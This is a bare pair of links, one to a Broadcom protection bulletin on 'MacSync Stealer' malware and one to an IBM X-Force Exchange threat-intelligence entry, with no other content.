https://www.broadcom.com/support/security-center/protection-bulletin/macsync-stealer-malware
https://exchange.xforce.ibmcloud.com/osint/guid:1fe278fd06404638a50bf7b126f9075c